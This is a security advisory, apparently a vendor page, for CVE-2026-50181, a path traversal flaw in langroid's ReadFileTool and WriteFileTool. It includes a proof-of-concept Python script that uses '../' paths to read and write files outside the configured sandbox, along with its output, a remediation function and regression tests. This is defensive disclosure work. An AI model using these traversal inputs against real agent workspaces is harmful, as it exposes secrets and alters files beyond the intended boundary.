CVE-2026-50181 is a high-severity path traversal vulnerability in langroid (pip), affecting versions <= 0.63.0. It is fixed in 0.64.0.
Summary Langroid's ReadFileTool and WriteFileTool appear to treat currdir as the intended working-directory boundary for file operations. However, the tools only change the process working directory to currdir and then operate on the user-supplied filepath without resolving and enforcing that the final path remains inside currdir. As a result, a tool caller can supply path traversal sequences such as ../secret.txt to read files outside the configured current directory, or ../writtenbytool.txt to write files outside that directory. This can impact applications that expose Langroid file tools to an LLM agent, user-controlled tool call, or delegated coding/documentation agent while relying on currdir to restrict file access to a project/workspace directory. Details Affected components: langroid/agent/tools/filetools.py langroid/utils/system.py Relevant behavior observed: ReadFileTool contains a comment indicating the intended assumption: ```text ASSUME: filepath should be relative to the currdir The tool then changes into the configured current directory and calls readfile(self.filepath). WriteFileTool similarly resolves currdir, changes into that directory, and calls createfile(self.filepath, self.content). The issue is that changing the process working directory does not prevent traversal. A path such as ../secret.txt is still valid and resolves outside the configured currdir. In local testing, ReadFileTool successfully read a file outside the configured sandbox directory, and WriteFileTool successfully wrote a file outside the configured sandbox directory. PoC Tested locally against the current Langroid repository checkout. Environment: Python 3.12 Langroid installed in editable mode with pip install -e . PoC script: from pathlib import Path from tempfile import TemporaryDirectory import os os.environ["docker"] = "false" os.environ["DOCKER"] = "false" from langroid.agent.tools.filetools import ReadFileTool, WriteFileTool class DummyIndex: def add(self, files): print("dummy git add:", files) def commit(self, message): print("dummy git commit:", message) class DummyRepo: index = DummyIndex() with TemporaryDirectory() as root: base = Path(root) sandbox = base / "sandbox" sandbox.mkdir() secret = base / "secret.txt" secret.writetext("LANGROIDTOOLESCAPEPROOF", encoding="utf-8") ReadSandbox = ReadFileTool.create(getcurrdir=lambda: sandbox) readtool = ReadSandbox(filepath="../secret.txt") print("READ TOOL RESULT:") print(readtool.handle()) WriteSandbox = WriteFileTool.create( getcurrdir=lambda: sandbox, getgitrepo=lambda: DummyRepo(), ) writetool = WriteSandbox( filepath="../writtenbytool.txt", content="WRITTENBYLANGROIDTOOL", language="text", ) print("WRITE TOOL RESULT:") print(writetool.handle()) outside = base / "writtenbytool.txt" print("outside exists:", outside.exists()) print("outside content:", outside.readtext(encoding="utf-8")) Observed output: READ TOOL RESULT: CONTENTS of ../secret.txt: (Line numbers added for reference only!) --------------------------- 1: LANGROIDTOOLESCAPEPROOF WRITE TOOL RESULT: Content created/updated in: ..\writtenbytool.txt dummy git add: ['../writtenbytool.txt'] dummy git commit: Agent write file tool Content written to ../writtenbytool.txt and committed outside exists: True outside content: WRITTENBYLANGROIDTOOL This demonstrates that both read and write operations can escape the configured currdir using ../ traversal. Impact If an application enables Langroid's file tools and treats currdir as a project, workspace, repository, or sandbox boundary, a tool caller can escape that boundary. Potential impact includes: Reading files outside the intended workspace. Writing files outside the intended workspace. Exposing local secrets, configuration files, source files, environment files, or other project-adjacent files. Modifying files outside the intended project directory if WriteFileTool is enabled. This is especially relevant in agentic workflows where an LLM or external user can influence tool arguments. This report does not claim unauthenticated remote exploitation by default. The impact depends on how an application exposes Langroid file tools and whether currdir is intended to restrict file access. Suggested remediation Before reading, writing, or listing files, resolve the configured base directory and the requested target path, then reject any path that escapes the base directory. Example patch pattern: from pathlib import Path def safejoin(basedir: str | Path, userpath: str | Path) -> Path: base = Path(basedir).resolve() target = (base / userpath).resolve() if target != base and base not in target.parents: raise ValueError("Path escapes configured current directory") return target Then use the resolved safe path for ReadFileTool, WriteFileTool, and ListDirTool. Suggested regression tests: ReadFileTool(filepath="../secret.txt") should be rejected. WriteFileTool(filepath="../outside.txt") should be rejected. Absolute paths outside currdir should be rejected. Symlink-based escapes should be rejected after final path resolution. Normal relative paths inside curr_dir, such as src/main.py, should continue to work. Langroid CVE Report.pdf
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
CVE-2026-50181 has a CVSS score of 7.1 (High). The vector is requires local access, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment.
A fixed version is available (0.64.0). Upgrading removes the vulnerable code path.
pip
langroid (<= 0.63.0)langroid → 0.64.0 (pip)Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter instead of chasing every advisory.
Kodem's runtime-powered SCA identifies whether CVE-2026-50181 is reachable in your applications. Explore open-source security for your team.
See if CVE-2026-50181 is reachable in your applications. Get a demo
Already deployed Kodem? See CVE-2026-50181 in your environment →Upgrade langroid to 0.64.0 or later to resolve this vulnerability.
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
CVE-2026-50181 is a high-severity path traversal vulnerability in langroid (pip), affecting versions <= 0.63.0. It is fixed in 0.64.0. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
CVE-2026-50181 has a CVSS score of 7.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
langroid (pip) versions <= 0.63.0 is affected.
Yes. CVE-2026-50181 is fixed in 0.64.0. Upgrade to this version or later.
Whether CVE-2026-50181 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
Upgrade langroid to 0.64.0 or later.